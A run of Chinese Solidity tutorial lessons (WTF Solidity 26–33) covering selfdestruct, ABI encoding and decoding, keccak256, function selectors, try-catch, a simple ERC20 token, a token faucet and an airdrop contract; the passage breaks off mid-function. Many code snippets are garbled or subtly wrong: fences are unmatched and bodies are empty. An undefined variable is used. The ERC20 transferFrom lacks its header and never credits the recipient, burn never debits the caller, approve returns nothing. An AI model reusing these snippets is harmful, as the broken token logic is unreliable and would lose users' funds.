---

# WTF Solidity极简入门: 26. 删除合约

-----

## `selfdestruct`

`selfdestruct`命令可以用来删除智能合约，并将该合约剩余`ETH`转到指定地址。`selfdestruct`是为了应对合约出错的极端情况而设计的。它最早被命名为`suicide`（自杀），但是这个词太敏感。为了保护抑郁的程序员，改名为`selfdestruct`；在 [v0.8.18](https://blog.soliditylang.org/2023/02/01/solidity-0.8.18-release-announcement/) 版本中，`selfdestruct` 关键字被标记为「不再建议使用」，在一些情况下它会导致预期之外的合约语义，但由于目前还没有代替方案，目前只是对开发者做了编译阶段的警告，相关内容可以查看 [EIP-6049](https://eips.ethereum.org/EIPS/eip-6049)。

### 如何使用`selfdestruct`
`selfdestruct`使用起来非常简单：
selfdestruct(_addr)；
```
其中`_addr`是接收合约中剩余`ETH`的地址。

### 例子
contract DeleteContract {

    uint public value = 10;

   constructor() payable {}

    receive() external payable {}

    function deleteContract() external {
        // 调用selfdestruct销毁合约，并把剩余的ETH转给msg.sender
        selfdestruct(payable(msg.sender));
    }

    function getBalance() external view returns(uint balance){
    }
}
```
在`DeleteContract`合约中，我们写了一个`public`状态变量`value`，两个函数：`getBalance()`用于获取合约`ETH`余额，`deleteContract()`用于自毁合约，并把`ETH`转入给发起人。

部署好合约后，我们向`DeleteContract`合约转入1 `ETH`。这时，`getBalance()`会返回1 `ETH`，`value`变量是10。

当我们调用`deleteContract()`函数，合约将自毁，所有变量都清空，此时`value`变为默认值`0`，`getBalance()`也返回空值。

### 注意事项
1. 对外提供合约销毁接口时，最好设置为只有合约所有者可以调用，可以使用函数修饰符`onlyOwner`进行函数声明。

2. 当合约被销毁后与智能合约的交互也能成功，并且返回0。

3. 当合约中有`selfdestruct`功能时常常会带来安全问题和信任问题，合约中的Selfdestruct功能会为攻击者打开攻击向量(例如使用`selfdestruct`向一个合约频繁转入token进行攻击，这将大大节省了GAS的费用，虽然很少人这么做)，此外，此功能还会降低用户对合约的信心。

###  在remix上验证
1. 部署合约并且转入1ETH，查看合约状态

![deployContract.png](./img/26-2.png)

2. 销毁合约，查看合约状态

![deleteContract.png](./img/26-1.png)

从测试中观察合约状态可以发现合约销毁后的ETH返回给了指定的地址，并且在合约销毁后依然可以请求交互，所以我们不能根据这个来判断合约是否已经销毁。

##

总结

`selfdestruct`是智能合约的紧急按钮，销毁合约并将剩余`ETH`转移到指定账户。当著名的`The DAO`攻击发生时，以太坊的创始人们一定后悔过没有在合约里加入`selfdestruct`来停止黑客的攻击吧。

---
title: 27. ABI编码解码
tags:
  - solidity
  - advanced
  - abi encoding
  - abi decoding
---

# WTF Solidity极简入门: 27. ABI编码解码

-----

`ABI` (Application Binary Interface，应用二进制接口)是与以太坊智能合约交互的标准。数据基于他们的类型编码；并且由于编码后不包含类型信息，解码时需要注明它们的类型。

`Solidity`中，`ABI编码`有4个函数：`abi.encode`, `abi.encodePacked`, `abi.encodeWithSignature`, `abi.encodeWithSelector`。而`ABI解码`有1个函数：`abi.decode`，用于解码`abi.encode`的数据。这一讲，我们将学习如何使用这些函数。

## ABI编码

我们将编码4个变量，他们的类型分别是`uint256`（别名 uint）, `address`, `string`, `uint256[2]`：
    uint x = 10;
    address addr = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71;
    string name = "0xAA";
    uint[2] array = [5, 6]; 
```

###

`abi.encode`
将给定参数利用[ABI规则](https://learnblockchain.cn/docs/solidity/abi-spec.html)编码。`ABI`被设计出来跟智能合约交互，他将每个参数填充为32字节的数据，并拼接在一起。如果你要和合约交互，你要用的就是`abi.encode`。
    function encode() public view returns(bytes memory result) {
        result = abi.encode(x, addr, name, array);
    }
```
编码的结果为`0x000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`，由于`abi.encode`将每个数据都填充为32字节，中间有很多`0`。

### `abi.encodePacked`
将给定参数根据其所需最低空间编码。它类似 `abi.encode`，但是会把其中填充的很多`0`省略。比如，只用1字节来编码`uint`类型。当你想省空间，并且不与合约交互的时候，可以使用`abi.encodePacked`，例如算一些数据的`hash`时。

    function encodePacked() public view returns(bytes memory result) {
        result = abi.encodePacked(x, addr,

name, array);
    }
```
编码的结果为`0x000000000000000000000000000000000000000000000000000000000000000a7a58c0be72be218b41c608b7fe7c5bb630736c713078414100000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000006`，由于`abi.encodePacked`对编码进行了压缩，长度比`abi.encode`短很多。

### `abi.encodeWithSignature`
与`abi.encode`功能类似，只不过第一个参数为`函数签名`，比如`"foo(uint256,address,string,uint256[2])"`。当调用其他合约的时候可以使用。
    function encodeWithSignature() public view returns(bytes memory result) {
        result = abi.encodeWithSignature("foo(uint256,address,string,uint256[2])", x, addr, name, array);
   
   }
```
编码的结果为`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`，等同于在`abi.encode`编码结果前加上了4字节的`函数选择器`[^说明]。
[^说明]: 函数选择器就是通过函数名和参数进行签名处理(Keccak–Sha3)来标识函数，可以用于不同合约之间的函数调用

### `abi.encodeWithSelector`
与`abi.encodeWithSignature`功能类似，只不过第一个参数为`函数选择器`，为`函数签名`Keccak哈希的前4个字节。

    function encodeWithSelector() public view returns(bytes memory result) {
        result = abi.encodeWithSelector(bytes4(keccak256("foo(uint256,address,string,uint256[2])")), x, addr, name, array);
   
   }
```

编码的结果为`0xe87082f1000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000007a58c0be72be218b41c608b7fe7c5bb630736c7100000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000043078414100000000000000000000000000000000000000000000000000000000`，与`abi.encodeWithSignature`结果一样。

## ABI解码
### `abi.decode`
`abi.decode`用于解码`abi.encode`生成的二进制编码，将它还原成原本的参数。

    function decode(bytes memory data) public pure returns(uint dx, address daddr, string memory dname, uint[2] memory darray) {
        (dx, daddr, dname, darray) = abi.decode(data, (uint, address, string, uint[2]));
    }
```
我们将`abi.encode`的二进制编码输入给`decode`，将解码出原来的参数：

![](https://images.mirror-media.xyz/publication-images/jboRaaq0U57qVYjmsOgbv.png?height=408&width=624)

- 部署合约查看abi.encode方法的编码结果
![](./img/27-1.png)

-

对比验证四种编码方法的异同点
![](./img/27-2.png)

- 查看abi.decode方法的解码结果
![](./img/27-3.png)

## ABI的使用场景
1. 在合约开发中，ABI常配合call来实现对合约的底层调用。
```solidity  
    bytes4 selector = contract.getValue.selector;

    bytes memory data = abi.encodeWithSelector(selector, _x);
    (bool success, bytes memory returnedData) = address(contract).staticcall(data);
    require(success);

    return abi.decode(returnedData, (uint256));
```
2. ethers.js中常用ABI实现合约的导入和函数调用。
    const wavePortalContract = new ethers.Contract(contractAddress, contractABI, signer);
    /*
        * Call the getAllWaves method from your Smart Contract
        */
    const waves = await wavePortalContract.getAllWaves();
```
3. 对不开源合约进行反编译后，某些函数无法查到函数签名，可通过ABI进行调用。
- 0x533ba33a() 是一个反编译后显示的函数，只有函数编码后的结果，并且无法查到函数签名
![](./img/27-4.png)
![](./img/27-5.png)
- 这种情况无法通过构造interface接口或contract来进行调用
![](./img/27-6.png)

这种情况下，就可以通过ABI函数选择器来调用
    bytes memory data = abi.encodeWithSelector(bytes4(0x533ba33a));

```

##

---
title: 28. Hash
tags:
  - solidity
  - advanced
  - hash
---

# WTF Solidity极简入门: 28. Hash

-----

哈希函数（hash function）是一个密码学概念，它可以将任意长度的消息转换为一个固定长度的值，这个值也称作哈希（hash）。这一讲，我们简单介绍一下哈希函数及在`solidity`的应用

## Hash的性质
一个好的哈希函数应该具有以下几个特性：
- 单向性：从输入的消息到它的哈希的正向运算简单且唯一确定，而反过来非常难，只能靠暴力枚举。
- 灵敏性：输入的消息改变一点对它的哈希改变很大。
- 高效性：从输入的消息到哈希的运算高效。
- 均一性：每个哈希值被取到的概率应该基本相等。
- 抗碰撞性：
    - 弱抗碰撞性：给定一个消息`x`，找到另一个消息`x'`使得`hash(x) = hash(x')`是困难的。
    - 强抗碰撞性：找到任意`x`和`x'`，使得`hash(x) = hash(x')`是困难的。

## Hash的应用
- 生成数据唯一标识
- 加密签名
- 安全加密

## Keccak256
`Keccak256`函数是`solidity`中最常用的哈希函数，用法非常简单：
哈希 = keccak256(数据);
```
### Keccak256和sha3
这是一个很有趣的事情：
1.

sha3由keccak标准化而来，在很多场合下Keccak和SHA3是同义词，但在2015年8月SHA3最终完成标准化时，NIST调整了填充算法。**所以SHA3就和keccak计算的结果不一样**，这点在实际开发中要注意。
2. 以太坊在开发的时候sha3还在标准化中，所以采用了keccak，所以Ethereum和Solidity智能合约代码中的SHA3是指Keccak256，而不是标准的NIST-SHA3，为了避免混淆，直接在合约代码中写成Keccak256是最清晰的。

### 生成数据唯一标识

我们可以利用`keccak256`来生成一些数据的唯一标识。比如我们有几个不同类型的数据：`uint`，`string`，`address`，我们可以先用`abi.encodePacked`方法将他们打包编码，然后再用`keccak256`来生成唯一标识：
    function hash(
        uint _num,
        string memory _string,
        address _addr
    ) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(_num, _string, _addr));
    }
```

### 弱抗碰撞性
我们用`keccak256`演示一下之前讲到的弱抗碰撞性，即给定一个消息`x`，找到另一个消息`x'`使得`hash(x) = hash(x')`是困难的。

我们给定一个消息`0xAA`，试图去找另一个消息，使得它们的哈希值相等：

    // 弱抗碰撞性
    function weak(
        string memory string1
    )public view returns (bool){
        return keccak256(abi.encodePacked(string1)) == _msg;
    }
```

大家可以试个10次，看看能不能幸运的碰撞上。

### 强抗碰撞性
我们用`keccak256`演示一下之前讲到的强抗碰撞性，即找到任意不同的`x`和`x'`，使得`hash(x) = hash(x')`是困难的。

我们构造一个函数`strong`，接收两个不同的`string`参数`string1`和`string2`，然后判断它们的哈希是否相同：

    // 强抗碰撞性
    function strong(
        string

memory string1,
        string memory string2
    )public pure returns (bool){
        return keccak256(abi.encodePacked(string1)) == keccak256(abi.encodePacked(string2));
    }
```

- 部署合约查看唯一标识的生成结果
![](./img/28-1.png)

- 验证哈希函数的灵敏性，以及强、弱抗碰撞性
![](./img/28-2.png)

## 总结

这一讲，我们介绍了什么是哈希函数，以及如何使用`solidity`最常用的哈希函数`keccak256`。

---
title: 29. 选择器
tags:
  - solidity
  - advanced
  - selector
---

# WTF Solidity极简入门: 29. 函数选择器Selector

-----

## `selector`
当我们调用智能合约时，本质上是向目标合约发送了一段`calldata`，在remix中发送一次交易后，可以在详细信息中看见`input`即为此次交易的`calldata`

![tx input in remix](./img/29-1.png)

发送的`calldata`中前4个字节是`selector`（函数选择器）。这一讲，我们将介绍`selector`是什么，以及如何使用。

### `msg.data`
`msg.data`是`solidity`中的一个全局变量，值为完整的`calldata`（调用函数时传入的数据）。

在下面的代码中，我们可以通过`Log`事件来输出调用`mint`函数的`calldata`：
    // event 返回msg.data
    event Log(bytes data);

    function mint(address to) external{
        emit Log(msg.data);
   
   }
```
当参数为`0x2c44b726ADF1963cA47Af88B284C06f30380fC78`时，输出的`calldata`为
```
0x6a6278420000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78
```
这段很乱的字节码可以分成两部分：
```
前4个字节为函数选择器selector：
0x6a627842

后面32个字节为输入的参数：
0x0000000000000000000000002c44b726adf1963ca47af88b284c06f30380fc78
```
其实`calldata`就是告诉智能合约，我要调用哪个函数，以及参数是什么。

### `method id`、`selector`和`函数签名`
`method id`定义为`函数签名`的`Keccak`哈希后的前4个字节，当`selector`与`method id`相匹配时，即表示调用该函数，那么`函数签名`是什么？

其实在第21讲中，我们简单介绍了函数签名，为`"函数名（逗号分隔的参数类型)"`。举个例子，上面代码中`mint`的函数签名为`"mint(address)"`。在同一个智能合约中，不同的函数有不同的函数签名，因此我们可以通过函数签名来确定要调用哪个函数。

**注意**，在函数签名中，`uint`和`int`要写为`uint256`和`int256`。

我们写一个函数，来验证`mint`函数的`method id`是否为`0x6a627842`。大家可以运行下面的函数，看看结果。
    function mintSelector() external pure returns(bytes4 mSelector){
        return bytes4(keccak256("mint(address)"));
    }
```

结果正是`0x6a627842`：

![method id in remix](./img/29-2.png)

### 使用`selector`
我们可以利用`selector`来调用目标函数。例如我想调用`mint`函数，我只需要利用`abi.encodeWithSelector`将`mint`函数的`method

id`作为`selector`和参数打包编码，传给`call`函数：

    function callWithSignature() external returns(bool, bytes memory){
        (bool success, bytes memory data) = address(this).call(abi.encodeWithSelector(0x6a627842, 0x2c44b726ADF1963cA47Af88B284C06f30380fC78));
        return(success, data);
    }
```

在日志中，我们可以看到`mint`函数被成功调用，并输出`Log`事件。

![logs in remix](./img/29-3.png)

## 总结
这一讲，我们介绍了什么是`函数选择器`（`selector`），它和`msg.data`、`函数签名`的关系，以及如何使用它调用目标函数。

---
title: 30. Try Catch
tags:
  - solidity
  - advanced
  - try catch
---

# WTF Solidity极简入门: 30. Try Catch

-----

`try-catch`是现代编程语言几乎都有的处理异常的一种标准方式，`solidity`0.6版本也添加了它。这一讲，我们将介绍如何利用`try-catch`处理智能合约中的异常。

## `try-catch`
在`solidity`中，`try-catch`只能被用于`external`函数或创建合约时`constructor`（被视为`external`函数）的调用。基本语法如下：
        try externalContract.f() {
            // call成功的情况下 运行一些代码
        } catch {
            // call失败的情况下 运行一些代码
        }
```
其中`externalContract.f()`是某个外部合约的函数调用，`try`模块在调用成功的情况下运行，而`catch`模块则在调用失败时运行。

同样可以使用`this.f()`来替代`externalContract.f()`，`this.f()`也被视作为外部调用，但不可在构造函数中使用，因为此时合约还未创建。

如果调用的函数有返回值，那么必须在`try`之后声明`returns(returnType val)`，并且在`try`模块中可以使用返回的变量；如果是创建合约，那么返回值是新创建的合约变量。
        try externalContract.f()

returns(returnType val){
        } catch {
        }
```

另外，`catch`模块支持捕获特殊的异常原因：

        try externalContract.f() returns(returnType){
        } catch Error(string memory /*reason*/) {
            // 捕获revert("reasonString") 和 require(false, "reasonString")
        } catch Panic(uint /*errorCode*/) {
            // 捕获Panic导致的错误 例如assert失败 溢出 除零 数组访问越界
        } catch (bytes memory /*lowLevelData*/) {
            // 如果发生了revert且上面2个异常类型匹配都失败了 会进入该分支
            // 例如revert() require(false) revert自定义类型的error
        }
```

## `try-catch`实战
### `OnlyEven`
我们创建一个外部合约`OnlyEven`，并使用`try-catch`来处理异常：
contract OnlyEven{
    constructor(uint a){
        require(a != 0, "invalid number");
        assert(a != 1);
    }

    function onlyEven(uint256 b) external pure returns(bool success){
        // 输入奇数时revert
        require(b % 2 == 0, "Ups! Reverting");
        success = true;
    }
}
```
`OnlyEven`合约包含一个构造函数和一个`onlyEven`函数。

- 构造函数有一个参数`a`，当`a=0`时，`require`会抛出异常；当`a=1`时，`assert`会抛出异常；其他情况均正常。
- `onlyEven`函数有一个参数`b`，当`b`为奇数时，`require`会抛出异常。

### 处理外部函数调用异常
首先，在`TryCatch`合约中定义一些事件和状态变量：
    // 成功event
    event SuccessEvent();

    // 失败event
    event

CatchEvent(string message);
    event CatchByte(bytes data);

    // 声明OnlyEven合约变量
    OnlyEven even;

    constructor() {
        even = new OnlyEven(2);
    }
```
`SuccessEvent`是调用成功会释放的事件，而`CatchEvent`和`CatchByte`是抛出异常时会释放的事件，分别对应`require/revert`和`assert`异常的情况。`even`是个`OnlyEven`合约类型的状态变量。

然后我们在`execute`函数中使用`try-catch`处理调用外部函数`onlyEven`中的异常：

    // 在external call中使用try-catch
    function execute(uint amount) external returns (bool success) {
        try even.onlyEven(amount) returns(bool _success){
            // call成功的情况下
            emit SuccessEvent();
            return _success;
        } catch Error(string memory reason){
            // call不成功的情况下
            emit CatchEvent(reason);
        }
    }
```

当运行`execute(0)`的时候，因为`0`为偶数，满足`require(b % 2 == 0, "Ups! Reverting");`，没有异常抛出，调用成功并释放`SuccessEvent`事件。

![](./img/30-1.png)

当运行`execute(1)`的时候，因为`1`为奇数，不满足`require(b % 2 == 0, "Ups! Reverting");`，异常抛出，调用失败并释放`CatchEvent`事件。

![](./img/30-2.png)

### 处理合约创建异常

这里，我们利用`try-catch`来处理合约创建时的异常。只需要把`try`模块改写为`OnlyEven`合约的创建就行：

    // 在创建新合约中使用try-catch （合约创建被视为external call）
    // executeNew(0)会失败并释放`CatchEvent`
    //

executeNew(1)会失败并释放`CatchByte`
    // executeNew(2)会成功并释放`SuccessEvent`
    function executeNew(uint a) external returns (bool success) {
        try new OnlyEven(a) returns(OnlyEven _even){
            success = _even.onlyEven(a);
        } catch Error(string memory reason) {
            // catch失败的 revert() 和 require()
        } catch (bytes memory reason) {
            // catch失败的 assert()
            emit CatchByte(reason);
        }
    }
```

当运行`executeNew(0)`时，因为`0`不满足`require(a != 0, "invalid number");`，会失败并释放`CatchEvent`事件。

![](./img/30-3.png)

当运行`executeNew(1)`时，因为`1`不满足`assert(a != 1);`，会失败并释放`CatchByte`事件。

![](./img/30-4.png)

当运行`executeNew(2)`时，因为`2`满足`require(a != 0, "invalid number");`和`assert(a != 1);`，会成功并释放`SuccessEvent`事件。

![](./img/30-5.png)

## 总结
在这一讲，我们介绍了如何在`solidity`使用`try-catch`来处理智能合约运行中的异常：
- 只能用于外部合约调用和合约创建。
- 如果`try`执行成功，返回变量必须声明，并且与返回的变量类型相同。

---
title: 31. ERC20
tags:
  - solidity
  - application
  - ERC20
  - OpenZeppelin
---

# WTF Solidity极简入门: 31. ERC20

-----

这一讲，我们将介绍以太坊上的`ERC20`代币标准，并发行自己的测试代币。

## ERC20

`ERC20`是以太坊上的代币标准，来自2015年11月V神参与的[`EIP20`](https://eips.ethereum.org/EIPS/eip-20)。它实现了代币转账的基本逻辑：

- 账户余额
- 转账
- 授权转账
- 代币总供给
- 代币信息（可选）：名称，代号，小数位数

## IERC20
`IERC20`是`ERC20`代币标准的接口合约，规定了`ERC20`代币需要实现的函数和事件。
之所以需要定义接口，是因为有了规范后，就存在所有的`ERC20`代币都通用的函数名称，输入参数，输出参数。
在接口函数中，只需要定义函数名称，输入参数，输出参数，并不关心函数内部如何实现。
由此，函数就分为内部和外部两个内容，一个重点是实现，另一个是对外接口，约定共同数据。
这就是为什么需要`ERC20.sol`和`IERC20.sol`两个文件实现一个合约。

### 事件
`IERC20`定义了`2`个事件：`Transfer`事件和`Approval`事件，分别在转账和授权时被释放

    /**
     * @dev 释放条件：当 `value` 单位的货币从账户 (`from`) 转账到另一账户 (`to`)时.
     */
    event

Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev 释放条件：当 `value` 单位的货币从账户 (`owner`) 授权给另一账户 (`spender`)时.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
```

### 函数
`IERC20`定义了`6`个函数，提供了转移代币的基本功能，并允许代币获得批准，以便其他链上第三方使用。

- `totalSupply()`返回代币总供给
    /**
     * @dev 返回代币总供给.
     */
    function totalSupply() external view returns (uint256);
```

- `balanceOf()`返回账户余额
    /**
     * @dev 返回账户`account`所持有的代币数.
     */
    function balanceOf(address account) external view returns (uint256);
```

- `transfer()`转账
    /**
     * @dev 转账 `amount` 单位代币，从调用者账户到另一账户 `to`.
     *
     * 如果成功，返回 `true`.
     *
     * 释放 {Transfer} 事件.
     */
    function transfer(address to, uint256 amount) external returns (bool);
```

- `allowance()`返回授权额度
    /**
     * @dev 返回`owner`账户授权给`spender`账户的额度，默认为0。
     *
     * 当{approve} 或 {transferFrom} 被调用时，`allowance`会改变.
     */
    function allowance(address owner, address spender) external view returns (uint256);
```

- `approve()`授权
    /**
     * @dev 调用者账户给`spender`账户授权 `amount`数量代币。
     *
     *
     * 释放 {Approval} 事件.
     */
    function

approve(address spender, uint256 amount) external returns (bool);
```

- `transferFrom()`授权转账
    /**
     * @dev 通过授权机制，从`from`账户向`to`账户转账`amount`数量代币。转账的部分会从调用者的`allowance`中扣除。
     *
     *
     */
    function transferFrom(
    ) external returns (bool);
```

## 实现ERC20

现在我们写一个`ERC20`，将`IERC20`规定的函数简单实现。

### 状态变量
我们需要状态变量来记录账户余额，授权额度和代币信息。其中`balanceOf`, `allowance`和`totalSupply`为`public`类型，会自动生成一个同名`getter`函数，实现`IERC20`规定的`balanceOf()`, `allowance()`和`totalSupply()`。而`name`, `symbol`, `decimals`则对应代币的名称，代号和小数位数。

**注意**：用`override`修饰`public`变量，会重写继承自父合约的与变量同名的`getter`函数，比如`IERC20`中的`balanceOf()`函数。

    mapping(address => uint256) public override balanceOf;

    mapping(address => mapping(address => uint256)) public override allowance;

    uint256 public override totalSupply;   // 代币总供给

    string public name;   // 名称
    string public symbol;  // 代号
    
    uint8 public decimals = 18; // 小数位数
```

### 函数
- 构造函数：初始化代币名称、代号。
    constructor(string memory name_, string memory symbol_){
        name = name_;
        symbol = symbol_;
   
   }
```

- `transfer()`函数：实现`IERC20`中的`transfer`函数，代币转账逻辑。调用方扣除`amount`数量代币，接收方增加相应代币。土狗币会魔改这个函数，加入税收、分红、抽奖等逻辑。
    function transfer(address recipient, uint amount) external override returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }
```

- `approve()`函数：实现`IERC20`中的`approve`函数，代币授权逻辑。被授权方`spender`可以支配授权方的`amount`数量的代币。`spender`可以是EOA账户，也可以是合约账户：当你用`uniswap`交易代币时，你需要将代币授权给`uniswap`合约。

    function approve(address spender, uint amount) external override returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }
```

- `transferFrom()`函数：实现`IERC20`中的`transferFrom`函数，授权转账逻辑。被授权方将授权方`sender`的`amount`数量的代币转账给接收方`recipient`。
        address sender,
        address recipient,
        uint amount
    ) external override returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        emit Transfer(sender, recipient, amount);
    }
```

-

`mint()`函数：铸造代币函数，不在`IERC20`标准中。这里为了教程方便，任何人可以铸造任意数量的代币，实际应用中会加权限管理，只有`owner`可以铸造代币：
    function mint(uint amount) external {
        balanceOf[msg.sender] += amount;
        totalSupply += amount;
        emit Transfer(address(0), msg.sender, amount);
    }
```

- `burn()`函数：销毁代币函数，不在`IERC20`标准中。
    function burn(uint amount) external {
        totalSupply -= amount;
        emit Transfer(msg.sender, address(0), amount);
    }
```

## 发行`ERC20`代币

有了`ERC20`标准后，在`ETH`链上发行代币变得非常简单。现在，我们发行属于我们的第一个代币。

在`Remix`上编译好`ERC20`合约，在部署栏输入构造函数的参数，`name_`和`symbol_`都设为`WTF`，然后点击`transact`键进行部署。

![部署合约](./img/31-1.png)

这样，我们就创建好了`WTF`代币。我们需要运行`mint()`函数来给自己铸造一些代币。点开`Deployed Contract`中的`ERC20`合约，在`mint`函数那一栏输入`100`并点击`mint`按钮，为自己铸造`100`个`WTF`代币。

可以点开右侧的Debug按钮，具体查看下面的logs。

里面包含四个关键信息：
- 事件`Transfer`
- 铸币地址`0x0000000000000000000000000000000000000000`
- 接收地址`0x5B38Da6a701c568545dCfcB03FcB875f56beddC4`
-

代币数额`100`

![铸造代币](./img/31-2.png)

我们利用`balanceOf()`函数来查询账户余额。输入我们当前的账户，可以看到余额变为`100`，铸造成功。

账户信息如图左侧，右侧标注为函数执行的具体信息。

![查询余额](./img/31-3.png)

## 总结

在这一讲，我们学习了以太坊上的`ERC20`标准及其实现，并且发行了我们的测试代币。2015年底提出的`ERC20`代币标准极大的降低了以太坊上发行代币的门槛，并开启了`ICO`大时代。在投资时，仔细阅读项目的代币合约，可以有效避开貔貅，增加投资成功率。

---
title: 32. 代币水龙头
tags:
  - solidity
  - ERC20
  - faucet
---

# WTF Solidity极简入门: 32. 代币水龙头

-----

我们在第31讲学习了`ERC20`代币标准。这一讲，我们将学习`ERC20`水龙头的智能合约。在这个合约中，用户可以领到免费的`ERC20`代币。

## 代币水龙头

当人渴的时候，就要去水龙头接水；当人想要免费代币的时候，就要去代币水龙头领。代币水龙头就是让用户免费领代币的网站/应用。

最早的代币水龙头是比特币（BTC）水龙头：现在BTC一枚要\$30,000，但是在2010年，BTC的价格只有不到\$0.1，并且持有人很少。为了扩大影响力，比特币社区的Gavin Andresen开发了BTC水龙头，让别人可以免费领BTC。撸羊毛大家都喜欢，当时就有很多人去撸，一部分变为了BTC的信徒。BTC水龙头一共送出了超过19,700枚BTC，现在价值约6亿美元！

## ERC20水龙头合约

这里，我们实现一个简版的`ERC20`水龙头，逻辑非常简单：我们将一些`ERC20`代币转到水龙头合约里，用户可以通过合约的`requestToken()`函数来领取`100`单位的代币，每个地址只能领一次。

### 状态变量

我们在水龙头合约中定义3个状态变量

- `amountAllowed`设定每次能领取代币数量（默认为`100`，不是一百枚，因为代币有小数位数）。
- `tokenContract`记录发放的`ERC20`代币合约地址。
-

`requestedAddress`记录领取过代币的地址。

uint256 public amountAllowed = 100; // 每次领 100 单位代币
address public tokenContract;   // token合约地址
mapping(address => bool) public requestedAddress;   // 记录领取过代币的地址
```

### 事件

水龙头合约中定义了1个`SendToken`事件，记录了每次领取代币的地址和数量，在`requestTokens()`函数被调用时释放。

// SendToken事件    
event SendToken(address indexed Receiver, uint256 indexed Amount); 
```

### 函数

合约中只有两个函数：

- 构造函数：初始化`tokenContract`状态变量，确定发放的`ERC20`代币地址。
// 部署时设定ERC2代币合约
constructor(address _tokenContract) {
	tokenContract = _tokenContract; // set token contract
}
```

- `requestTokens()`函数，用户调用它可以领取`ERC20`代币。

// 用户领取代币函数
function requestTokens() external {
    require(requestedAddress[msg.sender] == false, "Can't Request Multiple Times!"); // 每个地址只能领一次
    IERC20 token = IERC20(tokenContract); // 创建IERC20合约对象
    require(token.balanceOf(address(this)) >= amountAllowed, "Faucet Empty!"); // 水龙头空了

    token.transfer(msg.sender, amountAllowed); // 发送token
    requestedAddress[msg.sender] = true; // 记录领取地址 
    
    emit SendToken(msg.sender, amountAllowed); // 释放SendToken事件
}
```

##

Remix演示

1. 首先，部署`ERC20`代币合约，名称和符号为`WTF`，并给自己`mint` 10000 单位代币。
    ![部署`ERC20`](./img/32-1.png)

2. 部署`Faucet`水龙头合约，初始化的参数填上面`ERC20`代币的合约地址。
    ![部署`Faucet`水龙头合约](./img/32-2.png)

3. 利用`ERC20`代币合约的`transfer()`函数，将 10000 单位代币转账到`Faucet`合约地址。
    ![给`Faucet`水龙头合约转账](./img/32-3.png)
    
4. 换一个新账户，调用`Faucet`合约`requestTokens()`函数，领取代币。可以在终端看到`SendToken`事件被释放。
    ![切换账户](./img/32-4.png)
    
    ![requestToken](./img/32-5.png)
    
5. 在`ERC20`代币合约上利用`balanceOf`查询领取水龙头的账户余额，可以看到余额变为`100`，领取成功！
    ![领取成功](./img/32-6.png)

## 总结

这一讲，我们介绍了代币水龙头的历史和`ERC20`水龙头合约。大家觉得下一个`BTC`水龙头会在哪里？

---
title: 33. 空投合约
tags:
  - solidity
  - ERC20
  - airdrop
---

# WTF Solidity极简入门: 33. 发送空投

-----

在币圈，最开心的一件事就是领空投，空手套白狼。这一讲，我们将学习如何使用智能合约发送`ERC20`代币空投。

## 空投 Airdrop

空投是币圈中一种营销策略，项目方将代币免费发放给特定用户群体。为了拿到空投资格，用户通常需要完成一些简单的任务，如测试产品、分享新闻、介绍朋友等。项目方通过空投可以获得种子用户，而用户可以获得一笔财富，两全其美。

因为每次接收空投的用户很多，项目方不可能一笔一笔的转账。利用智能合约批量发放`ERC20`代币，可以显著提高空投效率。

### 空投代币合约

`Airdrop`空投合约逻辑非常简单：利用循环，一笔交易将`ERC20`代币发送给多个地址。合约中包含两个函数

- `getSum()`函数：返回`uint`数组的和。

    ```solidity
    // 数组求和函数
    function getSum(uint256[] calldata _arr) public pure returns(uint sum)
    {
        for(uint i = 0; i < _arr.length; i++)
            sum = sum + _arr[i];
    }
    ```

- `multiTransferToken()`函数：发送`ERC20`代币空投，包含`3`个参数：
    - `_token`：代币合约地址（`address`类型）
    -

`_addresses`：接收空投的用户地址数组（`address[]`类型）
    - `_amounts`：空投数量数组，对应`_addresses`里每个地址的数量（`uint[]`类型）

    该函数有两个检查：第一个`require`检查了`_addresses`和`_amounts`两个数组长度是否相等；第二个`require`检查了空投合约的授权额度大于要空投的代币数量总和。

    /// @notice 向多个地址转账ERC20代币，使用前需要先授权
    ///
    /// @param _token 转账的ERC20代币地址
    /// @param _addresses 空投地址数组
    /// @param _amounts 代币数量数组（每个地址的空投数量）
    function multiTransferToken(
        address _token,
        address[] calldata _addresses,
        uint256[] calldata _amounts
        ) external {
        // 检查：_addresses和_amounts数组的长度相等
        require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL");
        IERC20 token = IERC20(_token); // 声明IERC合约变量
        uint _amountSum = getSum(_amounts); // 计算空投代币总量
        // 检查：授权代币数量 >= 空投代币总量
        require(token.allowance(msg.sender, address(this)) >= _amountSum, "Need Approve ERC20 token");
        
        // for循环，利用transferFrom函数发送空投
        for (uint8 i; i < _addresses.length; i++) {
            token.transferFrom(msg.sender, _addresses[i], _amounts[i]);
        }
    }
    ```

- `multiTransferETH()`函数：发送`ETH`空投，包含`2`个参数：
    - `_addresses`：接收空投的用户地址数组（`address[]`类型）

   ```solidity
    /// 向多个地址转账ETH
    function multiTransferETH(
        address payable[] calldata _addresses,
    ) public payable {
